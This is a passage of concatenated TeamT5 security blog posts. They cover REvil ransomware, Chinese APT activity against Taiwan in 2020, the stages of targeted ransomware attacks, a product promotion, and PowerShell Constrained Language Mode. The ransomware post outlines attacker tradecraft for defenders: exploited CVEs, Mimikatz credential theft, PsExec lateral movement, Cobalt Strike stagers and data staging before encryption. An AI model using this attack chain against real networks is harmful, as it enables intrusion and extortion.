For prevention, it is always crucial to be aware of spamming emails. Nowadays, spamming emails is still the most popular and effective method to access victims' computers. 

In addition, keep an eye on new exploits and updates is also important. Ransomware groups usually are not capable of discovering 0-day exploits by themselves, but they will exploit the disclosed vulnerabilities and attack those who have not updated their system. Thus, keep computers updated and patched systems immediately after the disclosure is essential for preventing ransomware attack.

Furthermore, as the REvil business grows, the actors behind has posted on dark web to recruit more affiliates for their operations. Thus, more attacks from the group is expected. TeamT5 will keep following the ransomware and provide up-to-date information of the notorious ransomware.

To efficiently prevent ransomware attacks, TeamT5 offers a total solution for enterprise protection. Our unique ransomware containment technology is proven to successfully block many types of ransomware, which can detect and stop malicious ransomware immediately. And even restore encrypted files from the backup.

For more information about TeamT5 Ransomware Prevention total solution, please contact: <sales@teamt5.org>

 

## References

[1] https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

[2] https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights

[3] https://www.zdnet.com/article/gandcrab-ransomware-operation-says-its-shutting-down/

[4] Texas Municipalities - https://www.zdnet.com/article/at-least-20-texas-local-governments-hit-in-coordinated-ransomware-attack/; Backup Company - https://www.zdnet.com/article/ransomware-hits-hundreds-of-dentist-offices-in-the-us/; Foreign Exchange Company - https://www.bbc.com/news/business-51017852; US Law Firm - https://www.zdnet.com/article/ransomware-gang-asks-42m-from-ny-law-firm-threatens-to-leak-dirt-on-trump/; Pan-Asia Retailer - https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/

[5] https://www.csoonline.com/article/3597298/revil-ransomware-explained-a-widespread-extortion-operation.html

[6] https://www.drcommodore.it/2019/06/20/hackerato-winrar-it-malware-al-posto-del-programma/

[7] https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/

[8] https://www.bleepingcomputer.com/news/security/ransomware-gang-plans-to-call-victims-business-partners-about-attacks/

Introducing The Most Profitable Ransomware REvil

**By TeamT5 杜浦數位安全 技術長 李庭閣 Charles Li**

2020 年被公認為充滿混亂與災禍的一年。各式各樣的大事件諸如新冠肺炎、中亞東歐台海等地的地緣政治衝突、英國脫歐、美國總統大選都將世界各地的人們帶向跟過去截然不同的生活。TeamT5 在過去一年中持續幫助受到國家力量支持的針對性攻擊行動（或稱 APT 攻擊）所受害的單位。同時間 TeamT5 的威脅情資團隊也主動追蹤 APT 攻擊者的各類行蹤。跟真實世界相比較，網路世界的混亂情況並不亞於我們於現實世界所見，同時網路世界的衝突有很大一部份是真實世界的映射或延伸。本篇文章將探討 TeamT5 在 2020 年所觀察到的台灣威脅態勢。

在本篇文章中，我們首先會為您介紹我們在 2020 年所觀察到的重大趨勢，包含了：

- APT 攻擊的演進，網路間諜不再是唯一的攻擊手段
- 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一
- 由新冠肺炎所引發的網路攻擊

接著我們會針對所觀察到的攻擊行動進行分析，試圖以產業別以及攻擊族群視角來進行網路威脅情資的剖析。文章的最後則是我們對如何應對網路攻擊不斷變化的建議作為總結。

 

### 網路間諜不再是唯一的攻擊手段

2020 年所公開的網路攻擊中，影響最深遠的當數中國 APT 攻擊者於五月時針對多個能源產業公司所進行的勒索軟體攻擊 [1]。TeamT5 研究顯示，這是一個來自中國惡名昭彰的 APT 攻擊族群，規畫已久的攻擊行動。這個行動究竟是攻擊者單純以獲取金錢為目的所發起的勒索行動，抑或是以勒索軟體為掩護的政治嚇阻行動（時值 520 台灣總統上任前），背後的答案依舊成謎。無論如何，本次的攻擊行為已為中國對台 APT 攻擊行動劃下新的里程碑：中國 APT 已針對台灣進行二十年以上的攻擊，但行動範圍都維持在竊取機密為目的而進行的網路間諜行動，這次攻擊意味著攻擊者將開始採用更多元的戰術來對台灣進行網路打擊行動。

另一個發生在 PTT BBS 論壇上的攻擊行動可以佐證我們的臆測：在 2020 年七月，TeamT5 追蹤了一連串的 BBS 爆料貼文，試圖詆毀台灣政府與軍方的形象，攻擊者使用了多個境外跳板 IP 位址來試圖隱藏他們的來源，然而 TeamT5 的情資資料庫顯示，其中一個來源 IP 曾被某個鎖定台灣已久的 APT 攻擊族群所使用；無獨有偶，我們也獲得某訊息來源指出，該 APT 族群正是隱身在此次行動背後的攻擊者。我們相信這兩個事件正是一個警訊，告訴我們中國 APT 族群正在嘗試各種過去沒使用過的手法來做更多樣性的攻擊行動。

 

### 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一

TeamT5 曾在過去示警過供應鏈攻擊手法的危險性 [2]，研究顯示它在 2020 年已經成為 APT 攻擊的一種主要入侵手法之一：2020 年十二月被揭露的 SolarWinds/SUNBURST 攻擊行動無疑是當前最成功的案例之一，受害目標包含了許多美國高層政府部門，全球前五百大公司，甚至數個資安廠商本身也在本次攻擊中被攻擊者攻陷，它的手法精細而行動縝密，以致於目前仍無法掌握整個攻擊全貌。在台灣，TeamT5 也觀察到至少三波的攻擊行動使用了類似的手法：攻擊者先針對服務供應商進行滲透，再進一步利用供應商的產品或服務當跳板來直接進入終端用戶，包含政府部門或其他各產業的公司。前兩波的攻擊行動已於八月間被法務部調查局所公開揭露 [3]，而第三波攻擊行動仍在調查中。我們目前已觀察到數十家甚至上百的台灣公私單位被這些行動所成功滲透，而且至少有三個來自中國的 APT 族群參與其中。

 

### 由新冠肺炎所引發的網路攻擊

第三個攻擊趨勢則為新冠肺炎所趨使的網路攻擊行動。隨著新冠肺炎疫情爆發數週內，TeamT5 就觀察到有國家支持的網路攻擊者開始疫情相關的情報蒐集；隨著時序進入下半年，攻擊者的目標開始轉向疫苗發展資訊的蒐集，可以看出網路攻擊行動隨著現實世界改變的趨勢。在台灣，TeamT5 也分析了數個以新冠疫情為主題所進行的攻擊行動，甚至有數波針對醫療相關部門的針對性攻擊行動。我們相信只要疫情尚未消散的一天，相關的攻擊行動就會持續進行。

TeamT5 威脅情資團隊在 2020 年分析了近百個來自中國的 APT 攻擊。統計結果顯示，政府和軍方部門仍為最大的攻擊目標，相對應的攻擊事件超過了總數的四分之一，幾乎每個在台灣地區有活動的 APT 族群都會嘗試攻擊相關部門，主要的原因在於 APT 的主要目標是獲取國家相關的機密情資。值得注意的是，針對資訊產業的攻擊在 2020 年躍升為第二大，顯示 APT 攻擊對資訊公司的高度興趣，主要的原因應與前述的供應鏈攻擊趨勢有關：這些資訊產業公司往往同時服務許多客戶並橫跨不同部門產業，攻陷這些資訊公司提供攻擊者一個絕佳的跳板來進一步滲透終端客戶。

能源產業是 2020 年被針對的第三大產業，TeamT5 觀察到至少有五個族群針對能源產業鏈中的多個部門進行滲透，我們認為這是一個徵兆，顯示敵人試圖控制台灣關鍵基礎設施的野心，因為這些部門在戰爭時期將會成為優先被癱瘓的目標。教育和智庫單位長久以來也名列 APT 攻擊目標排行榜中，相對應的攻擊數量在 2020 年位居第四名，主要的原因在於這些單位中的研究人員往往參與了政府的研究計畫或是政策制定。半導體產業是我們觀察到第五大被針對的目標，由於中國官方將半導體明定為十三五和十四五計畫中重點扶植的產業，這些攻擊應為有計劃性的網路間諜活動，目的在於竊取台灣相關的智慧財權或產業機密。醫療和運輸產業也是兩個在 2020 年被中國 APT 重點性針對的目標產業，如同前述，我們相信新冠肺炎可能是一個趨使攻擊者針對醫療產業的主要因素；交通相關產業部份，TeamT5 觀察到一個值得注意的現象：有一個我們稱為 GouShe（亦稱為 TroppicTropper、Keyboy）的 APT 族群特別針對台灣的交通運輸相關部門進行滲透，2020 年間的相關攻擊事件有七成以上均來自該族群。

![0510-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620618167/0510_1_bceb3b6be1.png)
_2020 年 APT 攻擊目標產業分佈_

 

TeamT5 於 2020 年間共追蹤了至少九個 APT 族群的攻擊行動，當中有八個是來自中國。HUAPI（亦稱為 BlackTech、PLEAD）是所有族群中最具野心的一群，他們的攻擊行動佔了我們所觀察到總數近三成，而且攻擊目標幾乎涵蓋了上述的所有產業。我們在前面所提到的台灣供應鏈攻擊行動他們也都有參與。APT27（亦稱 EmissaryPanda、IronTiger、LuckyMouse、BronzeUnion）、GouShe 和 AMOEBA（亦稱 APT41、Barium、Winnti）也是在 2020 年攻擊台灣的數個主要攻擊來源族群：據 TeamT5 研究，APT27 主要攻擊政府、醫療和金融相關單位和產業。GouShe 近一、兩年的攻擊行動，展現了針對交通運輸部門和產業的高度興趣，同時我們也在能源和政府單位觀察到他們的蹤跡，TeamT5 針對此族群追蹤了近十年，研究結果顯示該族群可能接受所屬單位指令來監控台灣的關鍵基礎設施，並可能在關鍵時刻針對這些單位進行控制和接管。

AMOEBA 在過去一年間主要攻擊目標包含了能源、半導體產業，教育智庫單位和資訊產業，從攻擊目標推斷，他們的主要目的偏向於智財和產業機密竊取，但我們不排除攻擊者會嘗試利用攻擊獲取成果進行二次利用，如同他們在五月間所進行的勒索攻擊行動一樣。SLIME1、SLIME9、SLIME13 是 TeamT5 對三個中國 APT 攻擊行動的暫時行動代稱，我們在近幾年都有持續觀察到他們的行動。Polaris（亦稱 MustangPanda）則是一個針對幾乎中國鄰近國家的 APT 族群，我們在三、四月間發現有多個來自他們的釣魚信件針對台灣政府和研究單位進行攻擊，我們推測他們試圖蒐集新冠肺炎相關疫情資訊。最後，我們在台灣也有發現一個由北韓 APT 族群 Lazarus 所使用的 Linux 後門工具，但沒有進一步資訊可以確認受害者身份資訊，雖然台灣在政治上並非北韓 APT 的主要攻擊目標，但由於 Lazarus 族群被公認肩負為北韓政府籌措財源的責任，舉例來說，2017 年發生在台灣銀行的 SWIFT 系統攻擊事件就是由 Lazarus 所為，此樣本也許是一個顯示 Lazarus 仍持續在台灣地區有活動跡象的警訊。

![0510-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620615927/0510_2_a0a7b82a23.png)
_2020 年間攻擊台灣的 APT 族群_

 

### 結語

TeamT5 相信認識敵人是有效對抗針對性攻擊的第一步，而本文章主要針對 2020 年間所觀察到的 APT 網路攻擊態勢，提供一個概觀說明。TeamT5 威脅情資研究顯示 APT 攻擊手法持續進化，真正高端複雜的行動已經不可能由單一個資安產品做有效的防護。TeamT5 [ThreatVision](https://teamt5.org/tw/products/threatvision/) 是一個以網路威脅情資為核心概念的防護方案，同時我們有一群專業的專家分析師持續做研究來讓我們持續領先於攻擊者的腳步。

> 如果您希望進一步了解我們的資安產品、解決方案或是想跟我們討論您所面臨的網路威脅，我們誠摯歡迎您與我們聯絡：<sales@teamt5.org>

 

### 參考資料

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

2020 年台灣 APT 網路攻擊態勢

**By TeamT5 CTO Charles Li**

2020 was considered to be a year of chaos and disaster. Big events such as the outbreak of COVID-19, geopolitical conflicts escalations in several areas, Brexit, and the U.S. president election, all influenced people around the world. In 2020, TeamT5 continued helping numerous security breaches caused by state sponsored targeted instruction attacks (APT) . In the meantime, TeamT5 intelligence Team proactively tracked APT actors’ new activities. Compared with real world, the cyber world was also full of turmoil in 2020 and many of them are reflections or extensions to events in real world. In this article, we will discuss our observation of APT trends in Taiwan in 2020.

In this article, we will first walk you through some remarkable trends, including:

- Evolution of APT tactic
- Supply Chain attack became a primary method in APT attacks
- COVID-19 driven cyber attacks

We will try to dissect the attacks happened in Taiwan in industrial view and adversarial view, which is a common method in threat intelligence analysis. Last part will be our conclusion and suggestions to respond with APT attacks.

 

### Evolution of APT tactic

In 2020, the most notable APT event in public would be the ransom-attack that strike several energy related companies in May [1]. TeamT5 research shows it to be a well-organized campaign from a notorious Chinese adversary group. Whether financial gain or political deterrence is the real motivation behind the ransom-attack remains a mystery. However, it has marked a milestone of China’s cyber-attacks against Taiwan: Chinese APT have aimed Taiwan for more than 20 years but only limited in cyber espionage operations in the past but the threat actors are now exercising new tactics to evade us.

Another cyber-attack supporting our hypothesis occurred on PTT, the most popular BBS platform in Taiwan. TeamT5 tracked a series of posts related to some scandals, with attempts to uglify Taiwanese governments or military, on PTT in July 2020. The actors abused hopping servers from various countries to hide their footprints. However, TeamT5 intelligence database shows that one of the source IP address was also used by a Chinese APT that has targeted Taiwan for more than ten years. Besides, another private source also verified the same APT group to be the culprit behind the attack. We consider both events to be indicators of China’s expansion on offensive cyber operations, which we have not observed in the past.

 

### Supply Chain attack becoming a primary method in APT attacks

Supply chain attack has become a major intrusion method for threat actors in 2020 and TeamT5 had warned such tactic in advance [2]. SolarWinds breach was undoubtedly the most successful story among them. Many high-profile US government agencies, Fortune 500 companies and even cybersecurity vendors were affected. It is so sophisticated that the scope is still uncertain yet. In Taiwan, we also observed at least three waves of similar attacks that infiltrated service providers and further leveraged their products or services to infect more victims. The first two had been published by the Ministry of Justice Bureau (MJIB) of Taiwan in August [3]. The third was still under investigation and the impact could be even bigger. We have seen a significant numbers of government agencies or private corporates in Taiwan being compromised. TeamT5 research shows that at least 3 distinct China nexus group were involved in these operations.

 

### COVID-19 driven cyber attacks

Another interesting phenomenon would be COVID-19 related cyber-attacks. Soon after the outbreak of COVID-19 pandemic, we observed state sponsored actors collecting intelligence for the pandemic. In the second half of 2020, threat actors shifted their focus to chasing COVID-19 vaccine information with the advance of COVID-19 vaccine development. In Taiwan, TeamT5 also intercepted several spear phishing emails using COVID-19 as lure theme or even more campaigns related to healthcare related entities. We believe the trend will continue as long as the COVID-19 pandemic still exists.

TeamT5 Intelligence Team had analyzed around one hundred APT attacks from China in 2020. Our statistic shows government and military agencies are still the biggest target and attacks against them counts for more than 1/4 in total and almost every APT groups that are active in Taiwan are coveting them. This trend has lasted for long since the ultimate goal of Chinese espionage operation is to obtain confidential national information. Information Technology (IT) industry also got attention a lot by APT actors and TeamT5 has observed a dramatical increase of attacks against IT industry. We believe this phenomenon is a result of threat actors’ attempts to abuse supply chain attacks and IT companies are considered to be good hopping points by actors to access various industries.

The third industry being targeted in 2020 is Energy industry and TeamT5 had observed at least attacks from 5 adversary groups. It could be a sign of our adversaries’ ambitions to control our critical industries because they will be top priorities of sabotages in wartime. Education or think tanks have been long ranked as the most attacked victims because they tend to involve in classified research projects hosted by governments or political decision makings. There were several targeted attacks against companies in semiconductor industries. It makes sense since Semiconductor industry is listed as a priority to be fostered by Chinese authority in their thirteen and fourteen Five-Year projects. Cyber espionage was also adopted as a mean to improve their techniques. Healthcare and transportation are also two industries that got coveted by APT actors. As we mentioned in the previous paragraph, COVID-19 could be an incentive for APT actors to attack Healthcare industries. Lastly, we would like to raise a phenomenon TeamT5 observed: There was an adversary group which we called GouShe (a.k.a TroppicTropper, Keyboy) focus on infiltrating Transportation related entities in Taiwan. More than 70% of transportation related cases we observed were from this specific group.

![0510-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620618167/0510_1_bceb3b6be1.png)
_2020 APT target industries distribution_

 

TeamT5 has tracked activities from at least 9 APT groups and 8 of them are from China. HUAPI (a.k.a BlackTech/PLEAD) was definitely the most ambitious group in Taiwan. Their attacks counts around 30% of incidents we analyzed and the targeting scope includes almost all the industries we listed. The supply chain attacks we mentioned in previous paragraphs were also conducted by them. APT27 (a.k.a EmissaryPanda, IronTiger, LuckyMouse, BronzeUnion), GouShe and AMOEBA (a.k.a APT41, Barium, Winnti) are groups that are quite active in 2020. APT27 was mostly attacking government, healthcare, and financial entities. GouShe showed a peculiar interest in transportation related entities while their footprints are also observed in energy and government entities. TeamT5 has tracked this group for many years. Our research shows that the actors might bear some responsibility from their higher commands to monitor some critical infrastructure facilities in Taiwan and take control of them in case of emergency status.

AMOEBA attacked energy companies, semiconductor companies, educational institutes, and IT companies. Their primary goal appears to be more for intellectual property or secret theft. But the possibilities exist that the actor might further leverage their achievement, like what they did in the ransom-attack in May. SLIME1, SLIME9 and SLIME13 are temporary code names for three Chinese APT campaigns against Taiwan that have lasted for a few years. Their activities still continued in 2020. Polaris (a.k.a MustangPanda) is another Chinese APT group that attacked almost all neighboring countries of China. We intercepted several of their spear phishing emails against government and research institutes in early stage of COVID-19 and we surmise they were gathering for information related to pandemic. One last interesting discovery: we discovered some Linux based malware used by Lazarus, a notorious North Korean APT group, circulated in Taiwan but we are unable to obtain the victim identity information. Although Taiwan is not a primary target of North Korean APT. But the Lazarus actors are believed to bear financial supporting responsibilities for their government agencies. For example, Lazarus is believed to be the culprit behind a Taiwanese bank SWIFT heist in 2017 [4]. The sample we uncovered might suggest their activities still exist in Taiwan.

![0510-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620615927/0510_2_a0a7b82a23.png)
_Adversaries attacking Taiwan in 2020_

 

### Conclusion

The purpose of this article is to provide a high-level overview of APT threat landscape of Taiwan in 2020, since TeamT5 believes knowing your enemy is the first step of effective defense. TeamT5 research shows that APT attacks keep evolving to become very complex and impossible for a security product to defend. TeamT5 has a cyber threat intelligence (CTI) centered solution, [ThreatVision](https://teamt5.org/en/products/threatvision/), and we rely on a dedicated team of security experts to keep us steps ahead of threat actors. Feel free to contact TeamT5 in case you want to know more about our products, solutions or discuss about threats you are facing.

> Contact us: <sales@teamt5.org>

 

### Reference

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

APT Threat Landscape of Taiwan in 2020

圖片來源：[Unsplash](https://unsplash.com/photos/jzTQVxCyKYs?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

 

近期國際間不斷發生加密勒索資安事件，受害產業橫跨政府機關、科技製造、交通運輸、軟體開發、衛生醫療、學術研究等。TeamT5 根據情資研究與數起資安事件調查成果，綜整近期針對型加密事件的面貌。

 

## 加密勒索攻擊演化
說到加密勒索攻擊，就不能不談到惡名昭彰的 WannaCry 病毒。WannaCry 病毒在 2017 年造成大規模感染，起因於該病毒針對 SMBv1 漏洞（CVE-2017-0143 ~ CVE-2017-0148）使用永恆之藍（EternalBlue）工具進行入侵。WannaCry 病毒入侵感染第一台主機後，會對主機硬碟和儲存裝置中的各式檔案進行加密，然後再利用 SMBv1 漏洞，主動擴散傳播到其他主機上，進而造成全球超過數百萬台電腦被加密感染。

![2104_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468173/2104_1_06555c9aff.png)
_圖一、WannaCry 加密勒索訊息_

 

然而，加密勒索攻擊在近幾年出現質變，逐漸從自動化攻擊轉為由駭客組織躲藏在背後操弄，受害對象也逐漸轉變成大型企業。駭客為避免受害者直接進行系統還原或重建，導致無法有效獲得贖金款項，進而開始竊取受害者的內部機敏資料，並藉由恐嚇公開資料，逼迫受害者繳付贖金。[ZDent](https://www.zdnet.com/article/ransomware-gangs-are-now-cold-calling-victims-if-they-restore-from-backups-without-paying/) 就曾報導 Sekhmet、Maze、Conti 與 Ryuk 等駭客組織存在「催債單位」，會主動與受害者聯繫，威脅若不繳付贖金將公開所竊取的機敏資料。

![2104_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_2_a31b3d1dd4.png)
_圖二、常見的針對型加密勒索訊息_

 

## 針對型加密勒索
TeamT5 從情資研究與資安事件成果，歸納目前針對型勒索攻擊分為四大步驟，分別為入侵、水平移動、資料竊取與檔案加密階段。

![2104_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_3_82b3ac0151.png)
_圖三、針對型加密勒索攻擊分解_

<style>
span.post-1-dot {
justify-content: center;
color: #d83751;
font-family: initial;
width: 1em;
font-size: 22px;
margin-right: 12px;
}
</style>
<h3 id="compromise">
 •入侵階段
</h3>

駭客入侵受害環境，主要是透過系統或設備的漏洞與社交郵件兩種管道。根據資安事件調查的結果，駭客所利用的漏洞為 ExChange ProxyLogon（CVE-2021-26858 與 CVE-2021-27065）與 SSL VPN（CVE-2019-11510、CVE-2019-11542、CVE-2019-11539、CVE-2019-11538、CVE-2019-11508、CVE-2019-11540 與 CVE-2019-11507）為主；而社交郵件則會搭配惡意連結，讓使用者點擊後不經意遭植入惡意程式，如 Drive-by-Download 攻擊手法。

![2104_4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_4_448ef9ff83.png)
_圖四、駭客利用 IE 漏洞（CVE-2020-0968）搭配 Drive-by-Download 手法植入惡意程式_

 

<h3>
 •水平移動階段
</h3>

駭客成功入侵受害環境搶下灘頭堡後，會開始進行後續入侵攻擊（Post-Compromise），目的是為了找到網域伺服器或檔案伺服器等高價值主機。在此階段，駭客會使用 Mimikatz 這類的密碼竊工具取得主機上的帳號密碼，並試著透過各種網路掃描工具，如 nbtscan、TCP Scan 或 ADFind 等駭客工具，找到其他可入侵的內部主機。接下來，駭客會嘗試使用先前取得的帳號密碼登入，其登入方式包含廣為人知的 PsExec 工具程式，最後在受害主機上建立後門程式，以便駭客長期連入控制之用，近期常見的後門程式多為使用 Cobalt Strike 框架建立 Stager 或 Beacon 等後門管道。

![2104_5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_5_9b984c5e4c.png)
_圖五、登入驗證程式 lsass.exe 遭到 Mimikatz 注入並竊取帳號密碼_

 

![2104_6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618471005/2104_6_bba2dd7079.png)
_圖六、駭客透過 Powershell 執行惡意語法植入 Cobalt Strike Stager_

 

<h3>
 •資料竊取階段
</h3>


駭客成功入侵至網域伺服器或檔案伺服器主機後，會嘗試從中取得受害單位內部的機敏資料，如產品開發、客戶資訊、財務資訊等機敏檔案。下圖七為 TeamT5 於某事件中偵測到駭客利用 WinRAR 壓縮工具，試圖遠端加密壓縮特定資料夾內容。

![2104_7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_6_3c1ab71659.png)
_圖七、駭客正在加密壓縮機敏資料_

 

<h3>
 •檔案加密階段
</h3>

當駭客成功取得受害者內部的機敏資料後，才會肆無忌憚地開始進行大規模主機加密行動。根據 TeamT5 實地調查的案例，駭客會在各主機植入加密程式，等到取得機敏資料後才透過 AD GPO 大量且快速地執行檔案加密攻擊，且駭客開始採用合法的檔案加密程式進行惡意加密攻擊。如下圖畫面，攻擊者早在 7 月就已植入加密程式，但是等到 12 月才發動加密攻擊，代表攻擊潛伏期長達數個月之久。且駭客所使用的加密程式 bcl.exe 為 Jetico 公司所開發的商用資料加密軟體，該軟體本意是為了達到資料隱私保護之用，卻被駭客利用成為加密勒索攻擊的一環。

![2104_8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_7_98ce84dfb8.png)
_圖八、長達數個月潛伏期的加密勒索攻擊行動_

 

## 轉換一下您的防禦思維
看到現在，各位應該發現針對型加密勒索攻擊是個細膩且漫長的攻擊行動，為了不打草驚蛇讓受害者早早發現，駭客開始使用許多合法商用軟體替代自行開發的惡意程式。在許多防禦機制都在強調如何阻斷檔案加密的當下，卻忽略了我們有數周至數個月的時間可以發現駭客的潛在威脅，又或是如果駭客使用合法程式來掩護非法攻擊，該如何有效偵測及識別，乃至於阻擋呢？

或許我們該轉換一下防禦思維，如果能在駭客入侵初期的潛伏階段就能有效識別，進而修補漏洞、清除惡意程式，阻斷駭客持續控制內部受害環境，便能避免未來發生大規模檔案加密的攻擊。

更多加密勒索攻擊防護，敬請期待 TeamT5 在 [CYBERSEC 2021 臺灣資安大會](https://teamt5.org/tw/posts/cybersec-2021/)上即將獨家公開的全新升級威脅捕網！

刻在你我心底的痛！可怕的加密勒索攻擊

近年來，為了防範進階持續性攻擊（Advanced Persistent Threat, APT），許多資安業者相繼投入端點防護領域，進行端點的事件分析，以助於定位威脅所在與制定因應措施。但多數的作法，大多是依照偵測工具內建規則，決定該事件的風險高低程度，意即以「一套標準」套用於所有的企業客戶。

 

# 風險防護也可以「客製化」

針對資安防護，各企業領域要求的重點或許略有不同。在端點防護上，具體完整的 APT 攻擊事件，無庸置疑須視為高度威脅優先處理。除此之外，尚有許多其他風險事件（例如違反企業內部規範），各家企業實際上也具備不同的需求。

企業資安防護需求有異，TeamT5 的 ThreatSonar 惡意威脅鑑識分析平台提供了最大的彈性，推出最新功能「風險訂閱」（Threat Subscription），客製化您專屬的威脅防護。

 

## 您在乎的威脅，優先追蹤

透過 ThreatSonar 風險訂閱功能，企業用戶可以依照公司本身的防範策略原則，主動決定要優先針對哪些風險事件進行防護與告警，協助企業確保自家資安防範原則（Policy）的落實管理。舉例來說，公司內部是否有同仁的電腦（被）安裝了 VPN 遠端連線工具？又或是否有任何中國製軟體在企業內使用？ThreatSonar 都能替您把關，偵測威脅、發出告警。

 

![sonar detect.PNG](https://res.cloudinary.com/dvgomg5gh/image/upload/v1615369015/sonar_detect_0a6630d5c7.png)
_圖一、訂閱 VPN 安裝風險事件與告警_

 

有了 ThreatSonar 風險訂閱，我們為每位客戶打造專屬的風險防護，不再「一套規則打天下」。

 

## 自己的風險等級，自己決定

透過 ThreatSonar 風險訂閱，我們可客製化為企業把關風險事件，但是風險項目眾多、資安人力有限，且風險等級也可能隨著公司政策調整而改變。

有鑑於此，除了訂閱風險項目，ThreatSonar 風險訂閱功能更提供「自訂風險等級」支援，資安人員可以自行決定風險等級，例如可設定哪些高風險攻擊事件發生時，需要立即處理、哪些屬於可疑事件，需進一步調查、哪些風險事件僅為低風險等級（例如，同仁的資訊設備使用方式違反公司資安規範）。

風險等級可自行決定且隨時調整，提升企業資安防護的彈性與便利性，企業可以更有效率地分配內部資安人力，依照不同風險等級進行相關處理。

 

## 資安事件即時告警，事件調查不再複雜

在過去，資安人員若要調查企業是否已遭到遠端存取木馬程式（Remote Access Trojan, RAT）入侵，通常需要確認幾項檔案特徵，例如風險檔案是否嘗試列舉檔案或行程（Process）、是否正在進行網路連線等，當上述特徵行為皆存在，就可以確認端點已遭到木馬程式攻擊。然而，需要考量的特徵非常多，且這些行為可能分布於數個風險檔案上，使得整體事件調查相對費時。

透過 ThreatSonar 風險訂閱功能，我們幫您組合多個特徵行為，針對單一資安攻擊事件發出明確且即時的告警，不只有效降低資安人員調查的負擔，又可即時回應與處置重要資安事件。

 

**ThreatSonar 風險訂閱功能** 即將上線，請即刻與 TeamT5 聯繫，訂製您的專屬風險防護！

> 業務聯絡：<sales@teamt5.org>

ThreatSonar 風險訂閱－訂製您的專屬風險防護

*Image courtesy of [Pexels](https://www.pexels.com/zh-tw/photo/3803517/)

## What is Constrained Language Mode and Why it Matters

When PowerShell was [first announced in 2006](https://betanews.com/2006/11/14/windows-powershell-1-0-released/), it was meant to be a flexible command-line shell that features an easy-to-understand yet advanced scripting engine for IT admins. Fast forward to (almost) a decade and a half later, PowerShell has caught up in popularity and has superseded the now-legacy `cmd.exe` in current Windows 10 releases.

However, PowerShell has also been weaponized heavily over the past decade. There is an abundance of PowerShell-based samples all over public sandboxes, and [APTs are known to abuse it whenever possible](https://attack.mitre.org/techniques/T1059/001/). The advanced scripting engine is often utilized to launch fileless/in-memory attacks or [use it as a way around AMSI](https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/). In this post, we will be focusing on a lesser-known feature that can be used to combat this threat: Language Mode.

PowerShell was launched with an option to change its ["Language Mode"](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes). This Language Mode option allows the user to switch between syntaxes allowed or disallowed. By default, all PowerShell sessions are launched with `FullLanguage`, which permits all the available syntaxes and cmdlets at runtime. There are four total language modes available: `FullLanguage`, `RestrictedLanguage`, `NoLanguage` and finally `ConstrainedLanguage`. In today's topic, we are here to focus on the `ConstrainedLanguage` mode introduced in PowerShell 3.0.

 

### Safer PowerShell Environment

First off, let's take a look at what Microsoft Docs says about the `ConstrainedLanguage` mode:

> - All cmdlets in Windows modules, and other UMCI-approved cmdlets, are fully functional and have complete access to system resources, except as noted.
> - All elements of the PowerShell scripting language are permitted.
> - All modules included in Windows can be imported and all commands that the modules export run in the session.
> - In PowerShell Workflow, you can write and run script workflows (workflows written in the PowerShell language). XAML-based workflows are not supported and you cannot run XAML in a script workflow, such as by using Invoke-Expression -Language XAML. Also, workflows cannot call other workflows, although nested workflows are permitted.
> - The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.
> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.
> - Users can get all properties of allowed types. Users can set the values of properties only on Core types. Only the following COM objects are permitted:
> - Scripting.Dictionary
> - Scripting.FileSystemObject
> - VBScript.RegExp

 

#### No Arbitrary C# Code via Add-Type

> The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.

Many PowerShell-based exploits rely on .NET-based language compilation via `Add-Type` - and that's already thrown out the window by disallowing arbitrary C# code compilation.

![202101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_1_38111256c4.png)

 

#### Non-whitelisted Types are Prohibited

> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.

